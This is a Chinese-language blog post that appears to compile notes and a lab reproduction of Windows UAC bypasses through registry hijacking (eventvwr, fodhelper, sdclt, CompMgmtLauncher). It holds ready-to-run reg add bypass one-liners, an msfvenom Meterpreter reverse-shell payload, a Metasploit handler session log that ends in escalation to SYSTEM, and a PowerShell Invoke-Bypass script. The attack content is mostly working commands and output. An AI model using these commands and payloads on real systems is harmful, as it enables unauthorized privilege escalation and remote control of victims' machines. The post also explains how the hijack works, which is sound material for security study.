Bypass UAC——通过HKCU\Software\Classes\mscfile\shell\open\command

注意:win11均无法利用此漏洞了!

**UAC bypass for Win10:** 【此case,在我的win10上没有复现】
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f

**UAC bypass for Win10:**
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd /c start powershell.exe" /f && START /W fodhelper.exe && reg delete HKCU\Software\Classes\ms-settings /f

**UAC bypass for 7/8/10:**
reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f && START /W CompMgmtLauncher.exe && reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f

  

**UAC bypass for Win10:**【仅仅对win10有效】
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd /c start powershell.exe" /f && START /W fodhelper.exe && reg delete HKCU\Software\Classes\ms-settings /f

复现方法(注意关闭defender):
正常情况下是:START /W fodhelper.exe

 

 

但是修改了注册表以后:

 

 

 

实践案例:https://pentestlab.blog/2017/05/02/uac-bypass-event-viewer/

具体来说,当 eventvwr.exe 被执行时,真正发生在幕后的是它试图在这两个注册表位置找到 mmc.exe:

  • HKCU\Software\Classes\mscfile\shell\open\command
  • HKCR\mscfile\shell\open\command

第一个注册表位置不存在,因此 mmc.exe 从第二个位置执行,然后加载 eventvwr.msc 文件以向用户显示信息。

通过 MMC 的事件查看器MMC 和事件查看器

因此,攻击者有可能创建不存在的注册表位置,以执行具有高级完整性的进程,从而绕过用户帐户控制 (UAC)。

提升的 CMD - 事件查看器注册表
通过事件查看器执行 CMD

当 eventvwr.exe 将被执行时,命令提示符将直接打开,而不需要从 UAC 进行任何提升。(注意:注册表添加因为是到hkcu,所以普通用户是添加到自己的hkcu下面,和管理员的不一样,因此对此应用场景,其实是管理员身份先添加了一个注册表项,然后管理员再去打开event viewer时候,就不会有uac的提示,而直接打开了cmd!普通用户的话,是不行的!因为管理员的hkcu和普通用户的不一样!

通过事件查看器绕过 UAC通过事件查看器绕过 UAC

这种技术被认为是非常隐蔽的,因为它不接触磁盘,也不进行任何进程注入,避免了被防病毒或监控进程行为的安全解决方案发现的风险。

然而,为了获得正确的 Meterpreter 会话并使用 Meterpreter 通过 getsystem 命令使用的技术之一提升权限,也可以使用恶意且无法检测到的有效负载来代替命令提示符。

自定义负载 - 注册表自定义有效负载 - 注册表

Process Explorer 可以验证 pentestlab3.exe 进程的完整性级别,该进程再次运行为高:

Pentestlab3 - 高完整性流程pentestlab3 - 作为高完整性进程运行

Metasploit 模块处理程序将捕获提升的 Meterpreter 会话,从那时起权限升级是可能的,因为用户帐户控制已经被绕过。

Pentestlab3 - 高架 Meterpreter
Pentestlab3
 
我来复现下吧:
一个win7 64机器,外加一台kali
制作木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.128 lport=4444 -f exe >shell.exe
上传到win7,
C:\Users\bonelee\Desktop>reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shel
l\open\command /d "C:\Users\bonelee\Desktop\shell.exe" /f
The operation completed successfully.

C:\Users\bonelee\Desktop> START /W CompMgmtLauncher.exe

 

kali下的监听:
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.157.128
lhost => 192.168.157.128
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.157.128:4444 
[*] Sending stage (175686 bytes) to 192.168.157.129
[*] Meterpreter session 1 opened (192.168.157.128:4444 -> 192.168.157.129:49194) at 2022-09-13 05:04:40 -0400

meterpreter > getuid
Server username: WIN-0BIKIQLCCRQ\bonelee
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                 Information           Connection
  --  ----  ----                 -----------           ----------
  1         meterpreter x86/win  WIN-0BIKIQLCCRQ\bone  192.168.157.128:4444
            dows                 lee @ WIN-0BIKIQLCCR   -> 192.168.157.129:
                                 Q                     49194 (192.168.157.1
                                                       29)

msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                 Information           Connection
  --  ----  ----                 -----------           ----------
  1         meterpreter x86/win  WIN-0BIKIQLCCRQ\bone  192.168.157.128:4444
            dows                 lee @ WIN-0BIKIQLCCR   -> 192.168.157.129:
                                 Q                     49194 (192.168.157.1
                                                       29)

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.157.128:4444 
[*] Sending stage (175686 bytes) to 192.168.157.129
[*] Meterpreter session 2 opened (192.168.157.128:4444 -> 192.168.157.129:49196) at 2022-09-13 05:07:17 -0400

meterpreter > getuid
Server username: WIN-0BIKIQLCCRQ\bonelee
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

 最后可以看到提权到了system!!!

Metasploit

或者,有一个 Metasploit 模块可以自动执行上述过程,返回一个提升的 Meterpreter 会话。

1
exploit/windows/local/bypassuac_eventvwr
Metasploit - 通过事件查看器绕过 UAC
Metasploit – 通过事件查看器绕过 UAC
 
UACBypass 基础思路学习 —— 劫持注册表
 2020-01-06 15:52:53     1944     0     0

0x01 基础知识

  • HKCU = HKEY_CURRENT_USER
  • HKLM = HKEY_LOCAL_MACHINE
  • HKCR = HKEY_CLASSES_ROOT

title

上图是 Windows 10 企业版的 regedit 的截图。HKCU 和 HKLM 这2个注册表驱动器有什么特殊之处呢?

在 Powershell 中,仅定义了此2个注册表驱动器。其他的一些如 HKCR 没有被预定义。当然可以自己手动定义。

参考:What, no HKCR in PowerShell?

0x02 原理分析

前提:一些高权限的程序会调用 HKCR:\ 下的键值。

思路:

  1. 通过修改 HKCU:\ 下面的键值同步修改 HKCR:\ 下的键值。
  2. 把原本的键值改为 cmd.exe 等 shell 程序。
  3. 如果高权限的程序在运行过程中调用此处被修改过的键值,就会以高权限启动我们设定的程序。
  4. 如此便实现了 Bypass UAC。

问题:

难点在于如何找这种可利用程序:

  1. 是高权限程序
  2. 需要调用 HKCR:\ 下的键值。

0x03 工具准备

  • sigcheck.exe
  • Process Monitor

sigcheck.exe

sigcheck.exe 工具可以查看 exe 的 manifest,在 manifest 中可以看到程序的权限。

下图中我查看了 certutil.exe 的权限,是普通权限(asInvoker 跟随调用者)。

title

title

title

对于 XML 文件中引用的 UAC 执行权限级别,分别代表下列含义:

title

highestAvailable 和 requireAdministrator 的区别是:前者是以当前用户可以获得的最高权限运行,后者是仅以系统管理员权限运行。

我们找的话要找 highestAvailable 的,因为如果我们都能以管理员权限运行了,肯定就不需要 bypass UAC 了。

另外有更加直观的判断方法是:

查看文件图标,如果带有 UAC 标志,那么一定是高权限的程序,如图:

title

但是就我们 Bypass UAC 的出发点,我们还得判断其 UAC 执行级别是 highestAvailable 还是 requireAdministrator。比如我找到了 wusa.exe 这个程序也是 highestAvailable

Process Monitor

借助 Process Monitor,可以查看程序运行过程中的注册表、文件、网络、进程间的调用关系。

0x04 实验

实验环境:Windows 7 SP1 x64

启动 Process Monitor,运行 eventvwr.exe。Process Monitor 选择 Tools-Process Tree,找到 eventvwr.exe。

title

右键- Go To Event,如图:

title

然后过滤出 eventvwr.exe 进程的活动:

title

仔细查看进程调用关系,如图:

title

title

title

获取了以下一些信息:

  • eventvwr.exe 的权限为 high
  • eventvwr.exe 首先查询键值 HKCU\Software\Classes\mscfile\shell\open\command,查询结果为 NAME NOT FOUND
  • eventvwr.exe 接着查询键值 HKCR\mscfile\shell\open\command,结果为 SUCCESS

修改测试

如果修改键值 HKCU\Software\Classes\mscfile\shell\open\command,使其查询结果为 SUCCESS,会如何呢?

首先需要修改键值 HKCU\Software\Classes\mscfile\shell\open\command,为测试可以把值改为 calc.exe

因为我这里的 regedit 中的键值只到 HKCU\Software\Classes\ 这层目录,所以我新增了后面的表项,并把值设为 C:\Windows\System32\calc.exe

title

然后再次运行 eventvwr.exe,就发现启动了 calc.exe

使用 Process Monitor 查看进程调用关系,如图:

title

此时对键值 HKCU\Software\Classes\mscfile\shell\open\command 的查询结果为 SUCCESS

title

计算器权限为 high,成功绕过 UAC。

至此,成功通过修改 HKCU\Software\Classes\mscfile\shell\open\command,实现 BypassUAC,获得了高权限。

0x05 总结

其实此方法 2016 年就提出来了,据说 Win10 系统已对该处做了修复,但是本新手只是学习一下思路。

在进程 eventvwr.exe 启动的时候,首先查找注册表位置 HKCU\Software\Classes\mscfile\shell\open\command。如果该处为空,接着查找注册表位置 HKCR\mscfile\shell\open\command(此处默认值为 %SystemRoot%\system32\mmc.exe "%1" %*),以高权限启动 mmc.exe,最后打开 eventvwr.msc

title

修改注册表 HKCU\Software\Classes\mscfile\shell\open\command 的键值只需要普通用户权限而已,但是通过在注册表 HKCU\Software\Classes\mscfile\shell\open\command 中添加 payload,就可以在启动 mmc.exe 之前执行预设的 payload。

修改 HKCU\Software\Classes\mscfile\shell\open\command后,会劫持所有 .msc 文件的运行,如 gpedit.msc

title

该方法 BypassUAC 的优点为:

  • 无文件
  • 不需要进程注入
  • 不需要复制特权文件

按照此方法,可以继续对 system32 下的 highestAvailable 权限的 exe 进行测试,如 wusa.exe,寻找可以实现 UACBypass 的键值。这种 hook 的思路,可以继续学习。

0x06 参考资料:

[1] https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
[2] https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/
[3] https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
[4] https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
[5] https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/
[6] https://www.cnblogs.com/elisha-blogs/p/msc.html

Bypass UAC

 

一、UAC介绍

 UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。

当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac

二、利用注册表bypass uac

HKCU = HKEY_CURRENT_USER
HKLM = HKEY_LOCAL_MACHINE
HKCR = HKEY_CLASSES_ROOT
一些高权限的程序会调用 HKCR:下的键值,通过修改 HKCU下面的键值同步修改HKCR 下的键值,把原来得值改成想运行得程序比如beacon.exe,如果高权限得程序运行过程会调用这个键值,就会以高权限运行我们得程序达到bypass uac

sigcheck.exe 工具可以查看 exe 的 manifest,在 manifest 中可以看到程序的权限。

找的话要找highestAvailable得属性,使用Process Monitor进行过滤规则的选择,找到程序eventvwr.exe,找到其调用过程,可以发现这条注册表的项它会进行查询

eventvwr.exe 首先查询键值 HKCU\Software\Classes\mscfile\shell\open\command,查询结果为 NAME NOT FOUND;

  eventvwr.exe 接着查询键值 HKCR\mscfile\shell\open\command,结果为 SUCCESS,因为修改注册表HKCU\Software\Classes\mscfile\shell\open\command得值只需要普通用户权限,所以修改为calc.exe进行测试

win10测试发现没有加载这个注册表路径,win7存在,但是需要手动添加后面得选项\shell\open\command,如下图所示成功弹出calc.exe

 

calc.exe程序权限为 high,成功绕过 UAC。

 

powershell自动化添加:powershell.exe -exec bypass -Command "& {Import-Module .\bypass.ps1;Invoke-Bypass }"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function Invoke-Bypass {
      Param (
      [String]$Command "C:\Windows\System32\cmd.exe /c start cmd.exe"
      )
 
      $CommandPath "HKCU:\Software\Classes\mscfile\shell\open\command"
      $filePath "HKCU:\Software\Classes\mscfile\shell\open\command"
      New-Item $CommandPath -Force | Out-Null
      New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
      Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
      Write-Host "[+] Registry entry has been created successfully!"
 
      $Process = Start-Process -FilePath "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden
      Write-Host "[+] Starting WSReset.exe"
 
      Write-Host "[+] Triggering payload.."
      Start-Sleep -Seconds 5
 
      if (Test-Path $filePath) {
      Remove-Item $filePath -Recurse -Force
      Write-Host "[+] Cleaning up registry entry"
      }
}

 

 

参考链接:

Win10bypass:https://www.chabug.org/tools/1714.html

http://blog.leanote.com/post/snowming/ec21a4823438

 

posted @ 2022-09-13 15:00  bonelee  阅读(581)  评论(0编辑  收藏  举报